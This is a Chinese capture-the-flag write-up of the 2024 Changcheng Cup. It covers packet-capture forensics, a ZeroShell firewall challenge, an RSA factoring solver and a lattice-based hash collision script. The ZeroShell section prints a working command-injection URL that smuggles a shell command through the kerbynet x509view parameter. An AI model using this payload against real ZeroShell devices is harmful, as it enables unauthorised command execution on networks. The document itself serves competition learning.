前言

比赛时间:2024.12.15

长城杯2024的WriteUp,靠队友出了几个杂项,只复现了rsand、ffffhash。
四人组队:SprengSeanDictionaryYoloZ41sArrebol

长城杯_DS squad_wp

2024年12月15日的比赛,四人组队,不出意外的,我爆零了(悲)。说来惭愧,rasnd本来能解决的。我做了一上午一点头绪都没有,感觉实在做不出来,就摆烂了两小时,后来另一个师傅解出了rasnd第二段,我才开始重做。做出来的时候,比赛正好结束了。。。

嗐,我成战犯了:crying_cat_face:,​师傅们千万不要学我啊。

Misc

zero_shell_1 | FINISHED

分析流量包,找到了对话

这个refer响应头应该是后面用得到的密码flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}

zero_shell_2 | FINISHED

这里考察zero_shell的防火墙漏洞

现在卡到这里了,如何构造命令,让它把flag输出

构造这个漏洞命令http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Acat%20/DB/_DB.001/flag%20/Database/flag%20%0A%27

得到了

WinFT_2 | FINISHED

题目描述在启动项中查找

打开任务计划程序

Base64解密

flag{AES_encryption_algorithm_is_an_excellent_encryption_algorithm}

Crypto

rasnd | Review

分析题目,给了个两个方程,但不可解。我们就要想办法利用方程得到一个kp或kq,取GCD(kq, N)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def crypto1():
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 0x10001
x1 = randint(0, 2**11)
y1 = randint(0, 2**114)
x2 = randint(0, 2**11)
y2 = randint(0, 2**514)
hint1 = x1 * p + y1 * q - 0x114
hint2 = x2 * p + y2 * q - 0x514
c = pow(bytes_to_long(flag1), e, n)
print(n)
print(c)
print(hint1)
print(hint2)

发现 x1 和 x2 位数较小,可以爆破,那就先看作已知量,这样就能通过 x1 * (hint2+0x514) - x2 * (hint1+0x114) 消去p。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import *

def solve1(hint1, hint2):
p = 0
hint1 += 0x114
hint2 += 0x514
for x1 in range(1, 2**11):
for x2 in range(1, 2**11):
t = x1 * hint2 - x2 * hint1
p = GCD(n, t)
if t == 0:
continue
if p > 1:
q = n // p
print("Success")
print(f"p = {p}\nq = {q}")
return p, q
print("Fail")

p, q = solve1(hint1, hint2)
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m1 = pow(c, d, n)
print(long_to_bytes(m1))

分析第二段,根据欧拉定理可以看出 hint = pow(514 * p - 114 * q, -1, n)

1
2
3
4
5
6
7
8
9
10
def crypto2():
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 0x10001
hint = pow(514 * p - 114 * q, n - p - q, n)
c = pow(bytes_to_long(flag2), e, n)
print(n)
print(c)
print(hint)

直接解方程组就完了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import *
from sympy import symbols, Eq, solve

p, q = symbols("p q", integer=True)

eq1 = Eq(514 * p - 114 * q, inverse(hint, n))
eq2 = Eq(p * q, n)

solution = solve((eq1, eq2), (p, q))
p, q = solution[0]
p, q = int(p), int(q)
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m2 = pow(c, d, n)
print(long_to_bytes(m2))

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from Crypto.Util.number import *
from sympy import symbols, Eq, solve


n = 27457595890446260950190651992446303122371131469178615304857142816014867511972169736783800944264481975498077375286191345746337364569681925331430032133400086125493531697340514722390434757174185350797112268702610434328075882452848522801553790574852111986468695473779524065147544674124856688633784609688666317174777519059716489901179973680888895287112613169948817268654442523312367931601659962557480409161680579344294052640640107513822348392333105593633996582602564044699734455901859676690260156427394373062286054517980678944766675740247446493815676299923364382080771360160250641040870715387099281795589144776487947028069
c = 8428208333414279627400698858041583379487520113326182802724651718864841134271033677865245771796505245072403731935431089119069032157733414049688202346452605092159869856262464520306033485813168329449861336637594245409871610716292218587412474808522373975845949426003414880742403979286791841019231649135688217636850257384298838057144041423178897325474430137629727595647439511817476977056973908606157021831728282225188271390858666922248405707907790738735780105384499568824576000813152032110991972359781015891115380788049107876524418261917497521208935981363627820907700199641363198603278679802081998261212628294369278203411
e = 0x10001
hint1 = 751105824394605080190526685467168111308331889953962729427632254176617579496518413433656894260198364663094863742842645553335550531207323526082280791532218731097822790226628108472117652998622192127046163512611569585281117913789871972735317922380334821734924814145979160983121382600529445984350793213934463052479115314549829877180923179189383255
hint2 = 4451182935460878127885879066823832674376874098642940186311526639630220011631167552024722395789393288648796074707594254881048067696059405030906501420627691381849138492252931327020419860784291614336032195160836957239883342612270983144730063825993351278119667805661097617267624867674775753226629350085834653476251233484956699709720608379471508082101998527834266171801999946747258692824513224206986655170492708859886340854013131124729203030144713622947367788602162583

# hint1 = x1 * p + y1 * q - 0x114
# hint2 = x2 * p + y2 * q - 0x514


def solve1(hint1, hint2):
p = 0
hint1 += 0x114
hint2 += 0x514
for x1 in range(1, 2**11):
for x2 in range(1, 2**11):
t = x1 * hint2 - x2 * hint1
p = GCD(n, t)
if t == 0:
continue
if p > 1:
q = n // p
print("Success")
print(f"p = {p}\nq = {q}")
return p, q
print("Fail")


p, q = solve1(hint1, hint2)
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m1 = pow(c, d, n)
print(long_to_bytes(m1))

n = 9534257033399052950961669783198465670092806347657461074983789709840477594898177820494535768394528986695879999203610567202750915674064737225752493027981783485933927515498396927647702757271381048062886043553128627417771642524989582356446338542666922249726710336117544984691841378191597345027595054621251295094924251766051040873622001142679548397566626978474314285678148275910058251887828637782725936666964535776405770345483322707998774558484463363931253183204070668693358357740904030829241981642643314580380950643220422682901245858276572264325878223957207536657272079894677831757204771334063980171204989463972042646649
c = 1978675983073732255608328440699727860765811596619669772175151454440680842239059411898342453038725673906417145251901112130943568119479242985772461263874656571870763094182672770062156208505371907408746597390392467897935180585491330742685671236436473341000398513010935523959469981002310231321828277177663295975002584533207857428202451339996512934051833683489925424203697241949443552028419023615855222724680790285463287155850685072723202178089310216518381702340780265515799320952606125431714515409730531043503771324979280134109726007465101216900607615160483494662489179533697048170888684871249884363190445469157707428541
hint = 8778717332996111872446338677081411792492069728587701508311560555732644305216117723295671207721179306330373836458334497605806721904225635608581810182154269272786269722184788810471036392703434291693333979662249462054073185358347200001311684418173813534217699767518905568754367363454734150210317458300292400885141402162321361639875897832445766666442238542853316839095859458150401646961703148749399209252507246827712492546214477443405409336552291998264233173552757248483198961524522972340036640920468293313817584651773926096642742553834749228645295435844699194893148907427910027073626950207537264806907502320223785748987

p, q = symbols("p q", integer=True)

eq1 = Eq(514 * p - 114 * q, inverse(hint, n))
eq2 = Eq(p * q, n)

solution = solve((eq1, eq2), (p, q))
p, q = solution[0]
p, q = int(p), int(q)
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m2 = pow(c, d, n)
print(long_to_bytes(m2))

print(long_to_bytes(m1) + long_to_bytes(m2))

# b'flag{6bcceae6-beb0-'
# b'4dd6-b764-bd0fdcaeeb5f}'
# b'flag{6bcceae6-beb0-4dd6-b764-bd0fdcaeeb5f}'

fffffhash | Review

题目需要对目标哈希值进行碰撞。这个异或 ii 先当作加上一个大小在256以内的数 bb​ 。

1
2
3
4
5
6
7
8
def giaogiao(hex_string):
base_num = 0x6C62272E07BB014262B821756295C58D
x = 0x0000000001000000000000000000013B
MOD = 2**128
for i in hex_string:
base_num = (base_num * x) & (MOD - 1)
base_num ^= i
return base_num

有递推公式 hi+1=xhi+bmodNh_{i+1} = xh_i + b \mod N,代入 hih_i 写成多项式 hn=xnh0+xn1b0+xn2b1++bnh_n = x^nh_0+x^{n-1}b_0+x^{n-2}b_1+\cdots+b_n,这样就能构造格基了:

$
(b_n \quad b_{n-1} \quad \ldots \quad b_1 \quad 1 \quad k)
\begin{pmatrix}
1 & & & & & x^0 \
& 1 & & & & x^1 \
& & \ddots & & & \vdots \
& & & 1 & & x^{n-1} \
& & & & 1 & x^n h_0 - h_n \
& & & & & M \
\end{pmatrix}

(b_n \quad b_{n-1} \quad \ldots \quad b_1 \quad 1 \quad 0)
$

借鉴了脚本,改写了一下,可以爆破n:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
TARGET = 201431453607244229943761366749810895688
h0 = 0x6c62272e07bb014262b821756295c58d
p = 0x0000000001000000000000000000013b
MOD = 2^128

def solve_good(n):
goods = []
M = Matrix.column([p^(n - i - 1) for i in range(n)] + [h0 * p^n - TARGET, MOD])
M = M.augment(identity_matrix(n+1).stack(vector([0] * (n+1))))
Q = Matrix.diagonal([2^128] + [1] * (n + 1))
M *= Q
M = M.LLL()
M /= Q
# 筛选符合要求的解
for r in M:
if r[0] == 0 and abs(r[-1]) == 1 and all(abs(x) < 256 for x in r):
r *= r[-1]
goods.append(r[1:-1])
return goods

def check_good(n, good):
inp = []
h = int(h0)
for i in range(n):
h = (h * p + good[i]) % MOD
x = int(h) ^^ int(h - good[i])
if x >= 256:
return
inp.append(x)
print(bytes(inp).hex())

for n in range(30):
goods = solve_good(n)
for good in goods:
check_good(n, good)

这样就能获得很多符合条件的哈希值了。